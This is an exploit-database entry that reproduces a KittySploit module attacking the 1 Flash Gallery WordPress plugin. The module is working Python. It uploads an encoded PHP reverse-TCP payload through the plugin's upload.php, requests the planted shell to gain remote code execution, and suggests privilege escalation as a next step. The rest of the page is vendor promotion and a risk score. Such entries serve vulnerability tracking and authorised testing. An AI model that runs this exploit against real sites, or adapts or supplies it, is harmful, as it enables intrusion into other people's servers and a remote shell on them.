Lucene search
+L

Wordpress plugin - 1 Flash Gallery

🗓️ 01 Dec 2025 12:51:31Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 2 Views

File upload in 1 Flash Gallery WordPress plugin enables remote code execution.

Refs
Code
from kittysploit import *
from lib.protocols.http.http_client import Http_client

class Module(Exploit, Http_client):

    __info__ = {
        "name": "Wordpress plugin - 1 Flash Gallery",
        "description": "1 Flash Gallery Wordpress Plugin File Upload Exploit",
        "cve": "",
        "payload": {
            "default": "payloads/singles/cmd/php/reverse_tcp",
            "arch": Arch.PHP,
            "platform": Platform.PHP,
            "category": "singles",
            "encoder": "encoders/php/base64"
            },
    'agent': {
        'risk': 'intrusive',
        'effects': ['active_exploitation'],
        'expected_requests': 2,
        'reversible': False,
        'approval_required': True,
        'produces': ['exploit_paths', 'risk_signals'],
        'cost': 1.5,
        'noise': 0.5,
        'value': 1.0,
        'requires':         {'min_endpoints': 0,
         'min_params': 0,
         'tech_hints_any': [],
         'tech_hints_all': [],
         'specializations_any': [],
         'risk_signals_any': [],
         'auth_session': False,
         'capabilities_any': [],
         'capabilities_all': [],
         'confidence_min': {},
         'confidence_min_any': {},
         'endpoint_pattern_any': [],
         'param_any': [],
         'api_surface_ready': False},
        'chain':         {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''}],
         'consumes_capabilities': [],
         'option_bindings': {},
         'suggested_followups': ['post/shell/multi/gather/privesc_suggester']},
    },
    }	

    def run(self):
        
        boundary = self.random_text(6)
        filename = self.random_text(8)
        data = f'--{boundary}\r\nContent-Disposition: form-data; name="Filedata"; filename="{filename}.php"\r\nContent-Type: application/x-httpd-php\r\n\r\n'
        data += self.payload        
        data += f"\r\n--{boundary}"
        headers = {
                    'Content-Type': f'multipart/form-data; boundary={boundary}',
                    'Content-Length': len(data)
                }

        r = self.http_request(
                        method="POST",
                        path="/wp-content/plugins/1-flash-gallery/upload.php?action=uploadify&fileext=php",
                        data=data,
                        headers=headers,
                        )

        if r:
            print_success("Successfully uploaded shell...")
            shell_path = r.text.split("_")[0]
            print_status(f"Trying to access shell at {shell_path}")
            r = self.http_request(
                            method="GET",
                            path=shell_path
            )

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Aug 2026 13:34Current
5.8Medium risk
Vulners AI Score5.8
2